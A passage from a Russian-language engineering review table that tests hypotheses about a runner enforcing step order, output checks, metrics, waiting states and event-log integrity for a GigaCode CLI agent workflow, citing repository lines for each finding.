\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n250\\t| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n251\\t| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L69) \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0448\u0430\u0433\u0438 \u0441\u043e `script_invoked`, \u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 ([\u0413-29](#\u0433-29)). \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 ADR-018 \u00ab\u043c\u0435\u043d\u044c\u0448\u0435 95% \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\u00bb ([L55](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L55)) \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a\u0443.** \u0421\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0430\u0433\u0438, \u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430 \u043f\u043e \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 |\\n252\\t| \u0413-31 | \u041f\u0440\u043e\u0433\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c (`EP-R8`) | `halt` \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ([`run-task.py` L30](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L30)); `advance` \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043d\u0435 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `active` ([L199-L200](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L199-L200)); \u0440\u0435\u0431\u0440\u043e n7 \u2192 halt \u043f\u0440\u0438 `answers.count == 0` ([\u043c\u0430\u0440\u0448\u0440\u0443\u0442 L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0441 \u043d\u043e\u0432\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c (\u043e\u0442\u0432\u0435\u0442\u044b \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430); \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043b\u0438\u0441\u0442\u0430 \u043f\u043e `EP-R8` |\\n253\\t| \u0413-32 | \u041e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 runner \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 | `P12`: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0437\u043b\u0443 n9 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `task is blocked or finished`. \u041b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked` ([L143-L147](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L143-L147)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 (\u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u0431\u0440\u0430, \u043d\u0435\u0442 \u0444\u0430\u0439\u043b\u0430) \u2014 \u0435\u0451 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u043a\u0430\u0437 \u0433\u0435\u0439\u0442\u0430 \u2014 \u043e\u0442 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach. \u0414\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f: **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** \u2014 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u0432\u043e\u0433\u043e TASK ID |\\n254\\t| \u0413-33 | \u041f\u0430\u043a\u0435\u0442 \u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 (`EP-R7`) | `EP-R7` \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 ([L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231)); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 GigaCode \u2014 `corrective_attempts: 0` \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `EP-R7` ([L66-L67](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L66-L67)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.** \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435: \u043e\u0434\u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u2014 \u043e\u043d\u0430 \u043d\u0435 \u0441\u043a\u0440\u044b\u0442\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0443 ADR-018 |\\n255\\t| \u0413-34 | \u0423\u0437\u0435\u043b n7 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\u00bb \u043e\u043f\u0438\u0441\u0430\u043d \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e | \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0443\u0437\u043b\u0430: \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u00bb ([L24](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L24)); \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u0430: \u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u2014 \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u043f\u0430\u0443\u0437\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c Source.** \u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u043e\u043c \u0433\u0440\u0430\u0444\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 `waiting` ([\u0413-31](#\u0433-31)) |\\n256\\t| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n257\\t| \u0413-36 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u00ab\u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | [\u0412\u0435\u0440\u0434\u0438\u043a\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193) \u0440\u0435\u0448\u0430\u0435\u0442 build \u043f\u0440\u043e\u0442\u0438\u0432 buy \u0434\u043b\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043d\u043e \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u2014 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)) \u2014 \u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 1 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u00ab\u041d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442 \u00ab\u043d\u0435 \u0438\u043c\u0435\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u00bb. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u2014 \u0441\u0432\u043e\u0439 runner |\\n258\\t\\n259\\t### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n260\\t\\n261\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n262\\t|---|----------|----------------|--------|-------------|--------------|\\n263\\t| \u0413-37 | \u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 (Cline, GigaCode CLI, \u0430\u043d\u0430\u043b\u043e\u0433\u0438) \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | Workflow Cline \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u043a\u0441\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0442\u0435\u0441\u0442 `slash-command-expansion`](https://github.com/cline/cline/blob/main/apps/vscode/src/sdk/slash-command-expansion.test.ts)); \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kilo Code, Gemini CLI \u0438 Qwen Code \u2014 \u0442\u043e\u0436\u0435 \u0442\u0435\u043a\u0441\u0442 ([Kilo](https://kilo.ai/docs/customize/workflows), [Gemini](https://geminicli.com/docs/cli/custom-commands/), [Qwen](https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/)). Skills GigaCode \u00ab\u043d\u0435 \u0434\u0430\u044e\u0442\u00bb \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 ([ADR-018 L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u041a\u043b\u0438\u0435\u043d\u0442 \u2014 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 runner |\\n264\\t| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\n265\\t| \u0413-39 | Hooks \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 | Hook \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432: Cline \u2014 `cancel: true` ([\u043f\u0440\u0438\u043c\u0435\u0440 SDK](https://github.com/cline/cline/blob/main/sdk/examples/hooks/PreToolUse_BlockDestructive.sh)), Gemini CLI \u2014 \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 2 ([hooks](https://geminicli.com/docs/hooks/)), Qwen Code \u2014 `permissionDecision: deny` ([hooks](https://qwenlm.github.io/qwen-code-docs/en/users/features/hooks/)). \u0417\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 hook \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0423 GigaCode CLI hooks \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b ([\u0413-42](#\u0433-42)); hooks \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043d\u0430 Windows \u043d\u0435 